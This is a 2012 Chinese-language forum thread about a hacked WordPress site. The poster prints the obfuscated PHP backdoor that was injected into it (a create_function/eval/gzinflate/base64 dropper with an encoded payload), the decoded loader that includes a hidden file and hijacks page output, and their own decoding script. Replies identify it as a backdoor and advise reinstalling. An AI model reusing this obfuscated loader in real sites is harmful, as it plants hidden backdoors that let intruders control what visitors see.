V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
javaluo
V2EX  ›  PHP

WP被黑之后php base64加密的代码解密之后的内容

  •  
  •   javaluo · 2012-12-19 22:54:31 +08:00 · 4496 次点击
    这是一个创建于 4355 天前的主题,其中的信息可能已经有所发展或是发生改变。
    WP被黑之后php base64加密的代码解密之后的内容

    这是解密的结果,貌似没看出来有啥危害啊

    if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/wwwroot/my/libraries/PHPExcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/269.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}




    前天朋友的WP被加入如下代码
    <?php
    $md5 = "7a8f8be74c439a765c67c839ccd7b515";
    $aa = array('l',"f","c","n","_","a","i",'z','v',"b","d","4","6",'o',"e",')',"s",";","g","r","t","(","$");
    $bab = create_function('$'.'v',$aa[14].$aa[8].$aa[5].$aa[0].$aa[21].$aa[18].$aa[7].$aa[6].$aa[3].$aa[1].$aa[0].$aa[5].$aa[20].$aa[14].$aa[21].$aa[9].$aa[5].$aa[16].$aa[14].$aa[12].$aa[11].$aa[4].$aa[10].$aa[14].$aa[2].$aa[13].$aa[10].$aa[14].$aa[21].$aa[22].$aa[8].$aa[15].$aa[15].$aa[15].$aa[17]);
    $bab('DZRFrsUIggSP01Xywkwa9cLMzN60jM/MfPr5J8hUhDKrKxv++X3tVA/ZUf2TZ3tFYP8rq2Iuq3/+I6ahKKyvIv6iGAIokaG/tkOZGZVi7+fvgb5eIOzu2A/dP4XaP7kmg/w7Qodc45pUIe2edpTQDZzQKeqm68bmEKBYMhfMdB8qgGK006Z6k04JJ99WNpSNFEGz6b6ev0JY+6SFbu67u1LyGRbaPD7s76VKNNP9bpg7N3ePtef6rjG64YHz1blNStsckhrWAe8WkhNM2Spgr95QdzmIqBjz0JjSj4SvXjK+OJx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n6fvZom5aPG6yg6HJYnU70gMi8L48JXZGMeMZdDs9Hwmq6Kn81aG3upPuBPyLrlZSc6+l9iw3oubDZFbqpaIHri3MF+0L9WuoSNc/3R8xA7o8THrGlDNz4GXPhSkrkbqfTe6wj3Nq6OjIjg+BE0gAIgj/qv//5999//+//AQ==');
    ?>


    用了一个非常2 的方法解密的,如下,
    $a = gzinflate(base64_decode('DZRFrsUIggSP01Xywkwa9cLMzN60jM/MfPr5J8hUhDKrKxv++X3tVA/ZUf2TZ3tFYP8rq2Iuq3/+I6ahKKyvIv6iGAIokaG/tkOZGZVi7+fvgb5eIOzu2A/dP4XaP7kmg/w7Qodc45pUIe2edpTQDZzQKeqm68bmEKBYMhfMdB8qgGK006Z6k04JJ99WNpSNFEGz6b6ev0JY+6SFbu67u1LyGRbaPD7s76VKNNP9bpg7N3ePtef6rjG64YHz1blNStsckhrWAe8WkhNM2Spgr95QdzmIqBjz0JjSj4SvXjK+OJx4MZJ7cZg/zSjDpJGwQhreMUDFL35iCuuACNoTbtla1ndAr/fCG3xJIHEL9CR864VeaVwmMLd0yhjqH8gAxFcIflDxSG5rGw6jokdIyy283/eWTjfKFlCRPsloliIZ0KOUnUY0Ce4KEl+xPwYA35lfkr8MK+qnk+sqe60VNdCCA9o9tv/kkJpZsNQNITotWqHw/kSVORU9amMGTw89hzh4c1WAhoorY7egg0+BbbjIzdQ/TZKTEoPg5+8Rfazzu1D8qxTfP5TX23BesbaPTrmZrBd/u9PQSB7xawajZ3+HNWfXPM+A4RTpaXjMrsHrxS15P9eVXH8ti0/2a5R1CkdfThZ9gFDvJbrOu3TIZYarVriV5d/GTJdec0jPfGwdhAfp05xGP2NdPeYg5Nfo/RGbtC5WrZjddGU/ncmpbJcFT00YYnSeQc/yCIKvOTQVLEhdBdtuGrR0gMC5izvk92jFhgCvityAXUSuBBnbBKLkWd63BbP0s/X1dS0W3AsRFBCErhQ8aq0/1FhOsUcea9SiPQbKTC2hQCQCI6azEjwHwRrY8GrqTQtUV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2+KvnN5i1VZX36ahIXF3O4R1a0APu4igZc1qcYFiJvQ0fXPlu6UOWjdVYj4DzIRmpXKyZo21QoksX3ou0KlfR+dXpCkYjBtpIs2SWBklhhgcKl0lDd+v3fAKYQOKqs8cx7RXZ4BUvuiASbtFAkL9ACDE3Bb2W4MC7BBFseX6eAV8Ema7mkDhOZ0fBSisfug51/UrnsgjxfJI4hpxpVO5np2hGDymzRI4rR3XtUX8YxzKYcndLR+jvewJ67Vn84BMW42L3fJ4Rlk7LSwMPCvcW8Igg2JNSLJtYWYVA1tEIXPjTLlKTcyvURRskzFcVjnxZPar7pCWG87A4ZHRd4fJvKkfqC8bkMcnzDQppVupcqODu5FUQ+Zoas6Gxdmrwd50yK66m3A+S95JSM8ibZ2n0FvvvhJ2joKl/ELAwncNc1SLFXix6oL2MfbZ2K6lkrcJh5XxysqNoaRXRvg/hD76MA/vQxYq89ife+dmYPGpQtPjBNzNRH4CQQOxyPZ/4GKn6fvZom5aPG6yg6HJYnU70gMi8L48JXZGMeMZdDs9Hwmq6Kn81aG3upPuBPyLrlZSc6+l9iw3oubDZFbqpaIHri3MF+0L9WuoSNc/3R8xA7o8THrGlDNz4GXPhSkrkbqfTe6wj3Nq6OjIjg+BE0gAIgj/qv//5999//+//AQ=='));
    $a = str_replace('eval(gzinflate(base64_decode(', '', $a);
    $a = str_replace(')));', '', $a);
    $a = gzinflate(base64_decode($a));
    echo $a."<br />";
    5 条回复    1970-01-01 08:00:00 +08:00
    tempdban
        1
    tempdban  
       2012-12-20 09:59:04 +08:00 via Android
    /home/wwwroot/my/libraries/PHPExcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/269.php
    BOYPT
        2
    BOYPT  
       2012-12-20 13:25:17 +08:00
    你要看这个269里面有什么代码,这里主要是注册了dgobh作为session buffer的回调,也就是说人家可以任意修改wp里面的任何页面的输出内容了。
    tempdban
        3
    tempdban  
       2012-12-20 13:29:08 +08:00 via Android
    @BOYPT 这肯定是后门不用想2.x的时候祸害一批人
    楼主更新下版本 换个主题 插件全删再重新下载 估计差不多了……
    javaluo
        4
    javaluo  
    OP
       2012-12-21 00:47:44 +08:00 via Android
    @tempdban @BOYPT 谢谢楼上各位。我说没危害是我以为那个路径没东西,没想到他的phpmyadmin还真的在那个目录,看来黑客是故意做的木马添加的。现在全部格式化并重装改密码了
    Sivan
        5
    Sivan  
       2012-12-21 01:05:15 +08:00
    主要还是程序本身或主题跟插件的漏洞所致。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1174 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 22ms · UTC 18:18 · PVG 02:18 · LAX 10:18 · JFK 13:18
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.